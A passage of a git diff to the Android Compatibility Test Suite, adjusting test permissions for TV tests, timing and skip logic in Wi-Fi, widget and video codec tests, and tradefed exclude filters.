+ private static final String PERMISSION_ACCESS_WATCHED_PROGRAMS =
+ "com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS";
+ private static final String PERMISSION_WRITE_EPG_DATA =
+ "com.android.providers.tv.permission.WRITE_EPG_DATA";
+
private String mInputId;
private ContentResolver mContentResolver;
private Uri mChannelsUri;
@@ -123,6 +130,11 @@ public class TvContractTest extends AndroidTestCase {
if (!Utils.hasTvInputFramework(getContext())) {
return;
}
+ InstrumentationRegistry
+ .getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(
+ PERMISSION_ACCESS_WATCHED_PROGRAMS, PERMISSION_WRITE_EPG_DATA);
mInputId = TvContract.buildInputId(
new ComponentName(getContext(), StubTunerTvInputService.class));
mContentResolver = getContext().getContentResolver();
@@ -138,6 +150,9 @@ public class TvContractTest extends AndroidTestCase {
mContentResolver.delete(Channels.CONTENT_URI, null, null);
mContentResolver.delete(RecordedPrograms.CONTENT_URI, null, null);
mContentResolver.delete(WatchNextPrograms.CONTENT_URI, null, null);
+
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
super.tearDown();
}
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
index 350456879c3..87b89133673 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
@@ -68,6 +68,17 @@ public class TvInputManagerTest extends ActivityInstrumentationTestCase2<TvViewS
private static final TvContentRating DUMMY_RATING = TvContentRating.createRating(
"com.android.tv", "US_TV", "US_TV_PG", "US_TV_D", "US_TV_L");
+ private static final String PERMISSION_ACCESS_WATCHED_PROGRAMS =
+ "com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS";
+ private static final String PERMISSION_WRITE_EPG_DATA =
+ "com.android.providers.tv.permission.WRITE_EPG_DATA";
+ private static final String PERMISSION_ACCESS_TUNED_INFO =
+ "android.permission.ACCESS_TUNED_INFO";
+ private static final String PERMISSION_TV_INPUT_HARDWARE =
+ "android.permission.TV_INPUT_HARDWARE";
+ private static final String PERMISSION_TUNER_RESOURCE_ACCESS =
+ "android.permission.TUNER_RESOURCE_ACCESS";
+
private String mStubId;
private TvInputManager mManager;
private LoggingCallback mCallback = new LoggingCallback();
@@ -98,6 +109,16 @@ public class TvInputManagerTest extends ActivityInstrumentationTestCase2<TvViewS
if (!Utils.hasTvInputFramework(mActivity)) {
return;
}
+
+ InstrumentationRegistry
+ .getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(
+ PERMISSION_ACCESS_WATCHED_PROGRAMS,
+ PERMISSION_WRITE_EPG_DATA,
+ PERMISSION_ACCESS_TUNED_INFO,
+ PERMISSION_TUNER_RESOURCE_ACCESS);
+
mInstrumentation = getInstrumentation();
mTvView = findTvViewById(R.id.tvview);
mManager = (TvInputManager) mActivity.getSystemService(Context.TV_INPUT_SERVICE);
@@ -113,9 +134,6 @@ public class TvInputManagerTest extends ActivityInstrumentationTestCase2<TvViewS
}
assertNotNull(mStubTunerTvInputInfo);
mTvView.setCallback(mMockCallback);
-
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .adoptShellPermissionIdentity();
}
@Override
@@ -141,7 +159,6 @@ public class TvInputManagerTest extends ActivityInstrumentationTestCase2<TvViewS
InstrumentationRegistry.getInstrumentation().getUiAutomation()
.dropShellPermissionIdentity();
-
super.tearDown();
}
@@ -397,6 +414,14 @@ public class TvInputManagerTest extends ActivityInstrumentationTestCase2<TvViewS
if (mManager == null) {
return;
}
+
+ InstrumentationRegistry
+ .getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(
+ PERMISSION_WRITE_EPG_DATA,
+ PERMISSION_TV_INPUT_HARDWARE);
+
// Update hardware device list
int deviceId = 0;
boolean hardwareDeviceAdded = false;
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
index a562734fedd..13effcdf125 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
@@ -34,9 +34,10 @@ import android.util.ArrayMap;
import android.util.SparseIntArray;
import android.view.InputEvent;
import android.view.KeyEvent;
-
import android.tv.cts.R;
+import androidx.test.InstrumentationRegistry;
+
import com.android.compatibility.common.util.PollingCheck;
import java.util.ArrayList;
@@ -51,6 +52,11 @@ public class TvViewTest extends ActivityInstrumentationTestCase2<TvViewStubActiv
/** The maximum time to wait for an operation. */
private static final long TIME_OUT_MS = 15000L;
+ private static final String PERMISSION_ACCESS_WATCHED_PROGRAMS =
+ "com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS";
+ private static final String PERMISSION_WRITE_EPG_DATA =
+ "com.android.providers.tv.permission.WRITE_EPG_DATA";
+
private TvView mTvView;
private Activity mActivity;
private Instrumentation mInstrumentation;
@@ -170,6 +176,13 @@ public class TvViewTest extends ActivityInstrumentationTestCase2<TvViewStubActiv
if (!Utils.hasTvInputFramework(mActivity)) {
return;
}
+
+ InstrumentationRegistry
+ .getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(
+ PERMISSION_ACCESS_WATCHED_PROGRAMS, PERMISSION_WRITE_EPG_DATA);
+
mInstrumentation = getInstrumentation();
mTvView = findTvViewById(R.id.tvview);
mManager = (TvInputManager) mActivity.getSystemService(Context.TV_INPUT_SERVICE);
@@ -207,6 +220,9 @@ public class TvViewTest extends ActivityInstrumentationTestCase2<TvViewStubActiv
throw new RuntimeException(t);
}
mInstrumentation.waitForIdleSync();
+
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
super.tearDown();
}
diff --git a/tests/tests/view/src/android/view/cts/LongPressBackTest.java b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
index 7b63e418478..af2b1202a46 100644
--- a/tests/tests/view/src/android/view/cts/LongPressBackTest.java
+++ b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
@@ -64,7 +64,7 @@ public class LongPressBackTest {
.getUiAutomation();
// Inject key down event for back
- long currentTime = System.currentTimeMillis();
+ long currentTime = SystemClock.uptimeMillis();
automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_DOWN,
KeyEvent.KEYCODE_BACK, 0), true);
@@ -79,7 +79,7 @@ public class LongPressBackTest {
assertTrue(mActivity.sawBackDown());
assertFalse(mActivity.sawBackUp());
- currentTime = System.currentTimeMillis();
+ currentTime = SystemClock.uptimeMillis();
// Inject key up event for back
automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_UP,
KeyEvent.KEYCODE_BACK, 0), true);
diff --git a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
index 72cff7f307f..67a12a00152 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
@@ -19,6 +19,7 @@ package android.widget.cts;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.verifyNoMoreInteractions;
@@ -160,7 +161,7 @@ public class RadioButtonTest {
}
@Test
- public void testToggleViaEmulatedTap() {
+ public void testToggleViaEmulatedTap() throws Throwable {
final RadioButton.OnCheckedChangeListener mockCheckedChangeListener =
mock(RadioButton.OnCheckedChangeListener.class);
mRadioButton.setOnCheckedChangeListener(mockCheckedChangeListener);
@@ -170,7 +171,8 @@ public class RadioButtonTest {
// tap to checked
CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mRadioButton);
- verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mRadioButton, true);
+ // wait for the posted onClick() after the tap
+ verify(mockCheckedChangeListener, timeout(5000)).onCheckedChanged(mRadioButton, true);
assertTrue(mRadioButton.isChecked());
// tap to not checked - this should leave the radio button in checked state
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
index 7fa51349553..30be41caae9 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
@@ -618,15 +618,17 @@ public class ConnectedNetworkScorerTest extends WifiJUnit4TestBase {
// Restart wifi subsystem.
mWifiManager.restartWifiSubsystem();
+
+ // wait for scorer to stop session due to network disconnection.
+ assertThat(countDownLatchScorer.await(TIMEOUT, TimeUnit.MILLISECONDS)).isTrue();
+ assertThat(connectedNetworkScorer.stopSessionId).isEqualTo(prevSessionId);
+
// Wait for the device to connect back.
PollingCheck.check(
"Wifi not connected",
WIFI_CONNECT_TIMEOUT_MILLIS * 2,
() -> mWifiManager.getConnectionInfo().getNetworkId() != -1);
- assertThat(countDownLatchScorer.await(TIMEOUT, TimeUnit.MILLISECONDS)).isTrue();
- assertThat(connectedNetworkScorer.stopSessionId).isEqualTo(prevSessionId);
-
// Followed by a new onStart() after the connection.
// Note: There is a 5 second delay between stop/start when restartWifiSubsystem() is
// invoked, so this should not be racy.
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
index 55b7366e039..271035fbec2 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
@@ -76,6 +76,7 @@ public class MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest extends Wifi
private static boolean sWasVerboseLoggingEnabled;
private static boolean sWasScanThrottleEnabled;
private static boolean sWasWifiEnabled;
+ private static boolean sShouldRunTest = false;
private Context mContext;
private WifiManager mWifiManager;
@@ -96,6 +97,7 @@ public class MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest extends Wifi
// skip the test if WiFi is not supported or not automotive platform.
// Don't use assumeTrue in @BeforeClass
if (!WifiFeature.isWifiSupported(context)) return;
+ sShouldRunTest = true;
WifiManager wifiManager = context.getSystemService(WifiManager.class);
assertThat(wifiManager).isNotNull();
@@ -122,9 +124,9 @@ public class MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest extends Wifi
@AfterClass
public static void tearDownClass() throws Exception {
- Context context = InstrumentationRegistry.getInstrumentation().getContext();
- if (!WifiFeature.isWifiSupported(context)) return;
+ if (!sShouldRunTest) return;
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
WifiManager wifiManager = context.getSystemService(WifiManager.class);
assertThat(wifiManager).isNotNull();
@@ -138,6 +140,7 @@ public class MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest extends Wifi
@Before
public void setUp() throws Exception {
+ assumeTrue(sShouldRunTest);
mContext = InstrumentationRegistry.getInstrumentation().getContext();
mWifiManager = mContext.getSystemService(WifiManager.class);
mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
@@ -199,6 +202,7 @@ public class MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest extends Wifi
@After
public void tearDown() throws Exception {
+ if (!sShouldRunTest) return;
// Re-enable networks.
ShellIdentityUtils.invokeWithShellPermissions(
() -> {
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index b797882412f..d2442d0caee 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -159,10 +159,10 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
private static final String TAG = "WifiManagerTest";
private static final String SSID1 = "\"WifiManagerTest\"";
- // A full single scan duration is about 6-7 seconds if country code is set
- // to US. If country code is set to world mode (00), we would expect a scan
- // duration of roughly 8 seconds. So we set scan timeout as 9 seconds here.
- private static final int SCAN_TEST_WAIT_DURATION_MS = 9000;
+ // A full single scan duration is typically about 6-7 seconds, but
+ // depending on devices it takes more time (9-11 seconds). For a
+ // safety margin, the test waits for 15 seconds.
+ private static final int SCAN_TEST_WAIT_DURATION_MS = 15_000;
private static final int TEST_WAIT_DURATION_MS = 10_000;
private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
private static final int WAIT_MSEC = 60;
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
index 9eea9e53655..600a545f40f 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
@@ -184,6 +184,7 @@ public class WifiNetworkSpecifierTest extends WifiJUnit4TestBase {
private static boolean sWasVerboseLoggingEnabled;
private static boolean sWasScanThrottleEnabled;
private static WifiConfiguration sTestNetwork;
+ private static boolean sShouldRunTest = false;
private Context mContext;
private WifiManager mWifiManager;
@@ -199,6 +200,7 @@ public class WifiNetworkSpecifierTest extends WifiJUnit4TestBase {
Context context = InstrumentationRegistry.getInstrumentation().getContext();
// skip the test if WiFi is not supported
if (!WifiFeature.isWifiSupported(context)) return;
+ sShouldRunTest = true;
WifiManager wifiManager = context.getSystemService(WifiManager.class);
assertThat(wifiManager).isNotNull();
@@ -251,9 +253,9 @@ public class WifiNetworkSpecifierTest extends WifiJUnit4TestBase {
@AfterClass
public static void tearDownClass() throws Exception {
- Context context = InstrumentationRegistry.getInstrumentation().getContext();
- if (!WifiFeature.isWifiSupported(context)) return;
+ if (!sShouldRunTest) return;
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
WifiManager wifiManager = context.getSystemService(WifiManager.class);
assertThat(wifiManager).isNotNull();
@@ -272,6 +274,7 @@ public class WifiNetworkSpecifierTest extends WifiJUnit4TestBase {
@Before
public void setUp() throws Exception {
+ assumeTrue(sShouldRunTest);
mContext = InstrumentationRegistry.getInstrumentation().getContext();
mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
@@ -302,6 +305,7 @@ public class WifiNetworkSpecifierTest extends WifiJUnit4TestBase {
@After
public void tearDown() throws Exception {
+ if (!sShouldRunTest) return;
// If there is failure, ensure we unregister the previous request.
if (mNrNetworkCallback != null) {
mConnectivityManager.unregisterNetworkCallback(mNrNetworkCallback);
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
index 5d80467aff8..5e54e9ba120 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
@@ -97,6 +97,7 @@ public class WifiNetworkSuggestionTest extends WifiJUnit4TestBase {
private static boolean sWasVerboseLoggingEnabled;
private static boolean sWasScanThrottleEnabled;
private static boolean sWasWifiEnabled;
+ private static boolean sShouldRunTest = false;
private static Context sContext;
private static WifiManager sWifiManager;
@@ -120,6 +121,7 @@ public class WifiNetworkSuggestionTest extends WifiJUnit4TestBase {
if (!sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION)) return;
// skip if the location is disabled
if (!sContext.getSystemService(LocationManager.class).isLocationEnabled()) return;
+ sShouldRunTest = true;
sWifiManager = sContext.getSystemService(WifiManager.class);
assertThat(sWifiManager).isNotNull();
@@ -172,7 +174,7 @@ public class WifiNetworkSuggestionTest extends WifiJUnit4TestBase {
@AfterClass
public static void tearDownClass() throws Exception {
- if (!WifiFeature.isWifiSupported(sContext)) return;
+ if (!sShouldRunTest) return;
ShellIdentityUtils.invokeWithShellPermissions(
() -> sWifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
@@ -192,6 +194,7 @@ public class WifiNetworkSuggestionTest extends WifiJUnit4TestBase {
@Before
public void setUp() throws Exception {
+ assumeTrue(sShouldRunTest);
mExecutorService = Executors.newSingleThreadScheduledExecutor();
// turn screen on
sTestHelper.turnScreenOn();
@@ -215,6 +218,7 @@ public class WifiNetworkSuggestionTest extends WifiJUnit4TestBase {
@After
public void tearDown() throws Exception {
+ if (!sShouldRunTest) return;
// Release the requests after the test.
if (sNsNetworkCallback != null) {
sConnectivityManager.unregisterNetworkCallback(sNsNetworkCallback);
diff --git a/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java
index 647effe56df..d95e06956e3 100644
--- a/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java
+++ b/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java
@@ -28,6 +28,7 @@ import java.util.Map;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
class CodecEncoderPerformanceTestBase extends CodecPerformanceTestBase {
private static final String LOG_TAG = CodecEncoderPerformanceTest.class.getSimpleName();
@@ -160,6 +161,14 @@ class CodecEncoderPerformanceTestBase extends CodecPerformanceTestBase {
public void encode() throws IOException {
MediaFormat format = setUpDecoderInput();
assertNotNull("Video track not present in " + mTestFile, format);
+
+ if (EXCLUDE_ENCODER_MAX_RESOLUTION) {
+ int maxFrameSize = getMaxFrameSize(mEncoderName, mEncoderMime);
+ assumeTrue(mWidth + "x" + mHeight + " is skipped as it not less than half of " +
+ "maximum frame size: " + maxFrameSize + " supported by the encoder.",
+ mWidth * mHeight < maxFrameSize / 2);
+ }
+
setUpFormats(format);
mDecoder = MediaCodec.createByCodecName(mDecoderName);
mEncoder = MediaCodec.createByCodecName(mEncoderName);
diff --git a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
index 01670342f61..5a34fce371b 100644
--- a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
+++ b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
@@ -50,6 +50,14 @@ class CodecPerformanceTestBase {
// passing the test
static final double FPS_TOLERANCE_FACTOR;
static final boolean IS_AT_LEAST_VNDK_S;
+
+ static final int DEVICE_INITIAL_SDK;
+
+ // Some older devices can not support concurrent instances of both decoder and encoder
+ // at max resolution. To handle such cases, this test is limited to test the
+ // resolutions that are less than half of max supported frame sizes of encoder.
+ static final boolean EXCLUDE_ENCODER_MAX_RESOLUTION;
+
static final String mInputPrefix = WorkDir.getMediaDirString();
ArrayList<MediaCodec.BufferInfo> mBufferInfos;
@@ -83,18 +91,30 @@ class CodecPerformanceTestBase {
// os.Build.VERSION.DEVICE_INITIAL_SDK_INT can be used here, but it was called
// os.Build.VERSION.FIRST_SDK_INT in Android R and below. Using DEVICE_INITIAL_SDK_INT
// will mean that the tests built in Android S can't be run on Android R and below.
- int deviceInitialSdk = SystemProperties.getInt("ro.product.first_api_level", 0);
+ DEVICE_INITIAL_SDK = SystemProperties.getInt("ro.product.first_api_level", 0);
// fps tolerance factor is kept quite low for devices launched on Android R and lower
- FPS_TOLERANCE_FACTOR = deviceInitialSdk <= Build.VERSION_CODES.R ? 0.67 : 0.95;
+ FPS_TOLERANCE_FACTOR = DEVICE_INITIAL_SDK <= Build.VERSION_CODES.R ? 0.67 : 0.95;
IS_AT_LEAST_VNDK_S = SystemProperties.getInt("ro.vndk.version", 0) > Build.VERSION_CODES.R;
+
+ // Encoders on devices launched on Android Q and lower aren't tested at maximum resolution
+ EXCLUDE_ENCODER_MAX_RESOLUTION = DEVICE_INITIAL_SDK <= Build.VERSION_CODES.Q;
}
@Before
public void prologue() {
assumeTrue("For VNDK R and below, operating rate <= 0 isn't tested",
IS_AT_LEAST_VNDK_S || mMaxOpRateScalingFactor > 0.0);
+
+ assumeTrue("For devices launched on Android P and below, operating rate tests are disabled",
+ DEVICE_INITIAL_SDK > Build.VERSION_CODES.P);
+
+ if (DEVICE_INITIAL_SDK <= Build.VERSION_CODES.Q) {
+ assumeTrue("For devices launched with Android Q and below, operating rate tests are " +
+ "limited to operating rate scaling factor > 0.0 and <= 1.25",
+ mMaxOpRateScalingFactor > 0.0 && mMaxOpRateScalingFactor <= 1.25);
+ }
}
public CodecPerformanceTestBase(String decoderName, String testFile, int keyPriority,
@@ -283,6 +303,18 @@ class CodecPerformanceTestBase {
return minComplexity;
}
+ static int getMaxFrameSize(String codecName, String mime) throws IOException {
+ MediaCodec codec = MediaCodec.createByCodecName(codecName);
+ MediaCodecInfo.CodecCapabilities codecCapabilities =
+ codec.getCodecInfo().getCapabilitiesForType(mime);
+ MediaCodecInfo.VideoCapabilities vc = codecCapabilities.getVideoCapabilities();
+ Range<Integer> heights = vc.getSupportedHeights();
+ Range<Integer> widths = vc.getSupportedWidthsFor(heights.getUpper());
+ int maxFrameSize = heights.getUpper() * widths.getUpper();
+ codec.release();
+ return maxFrameSize;
+ }
+
void enqueueDecoderInput(int bufferIndex) {
MediaCodec.BufferInfo info = mBufferInfos.get(mSampleIndex++);
if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
diff --git a/tools/cts-tradefed/res/config/cts-foldable.xml b/tools/cts-tradefed/res/config/cts-foldable.xml
index 1b6b9bbc9a5..250fba80eb8 100644
--- a/tools/cts-tradefed/res/config/cts-foldable.xml
+++ b/tools/cts-tradefed/res/config/cts-foldable.xml
@@ -26,5 +26,8 @@
<!-- b/178344549: CtsCameraTestCases failures due to covered lenses in folded mode-->
<option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" />
<option name="compatibility:exclude-filter" value="CtsCameraTestCases[instant] android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" />
+ <!-- b/193752359: OrgOwnedProfileOwnerTest#testScreenCaptureDisabled failures due to personal
+ launcher always visible on one of the screens. -->
+ <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testScreenCaptureDisabled" />
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 401fdd63223..ba0c0d3fb28 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -237,9 +237,6 @@
<option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases android.autofillservice.cts.inline.InlineSimpleSaveActivityTest#testAutofill_oneDatasetAndSave" />
<option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases[instant] android.autofillservice.cts.inline.InlineSimpleSaveActivityTest#testAutofill_oneDatasetAndSave" />
- <!-- b/195580880 -->
- <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.PkgInstallSignatureVerificationTest#testInstallV4UpdateAfterRotation" />
-
<!-- b/194293021 -->
<option name="compatibility:exclude-filter" value="CtsPrintTestCases" />
<option name="compatibility:exclude-filter" value="CtsPrintTestCases[instant]" />
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml
index 0dd958fe888..76e93f3c19a 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml
@@ -52,7 +52,6 @@
<option name="compatibility:exclude-filter" value="CtsBackupHostTestCases" />
<option name="compatibility:exclude-filter" value="CtsBackupTestCases" />
<option name="compatibility:exclude-filter" value="CtsBionicAppTestCases" />
- <option name="compatibility:exclude-filter" value="CtsBionicTestCases" />
<option name="compatibility:exclude-filter" value="CtsBlobStoreHostTestCases" />
<option name="compatibility:exclude-filter" value="CtsBlobStoreHostTestHelper" />
<option name="compatibility:exclude-filter" value="CtsBlobStoreTestCases" />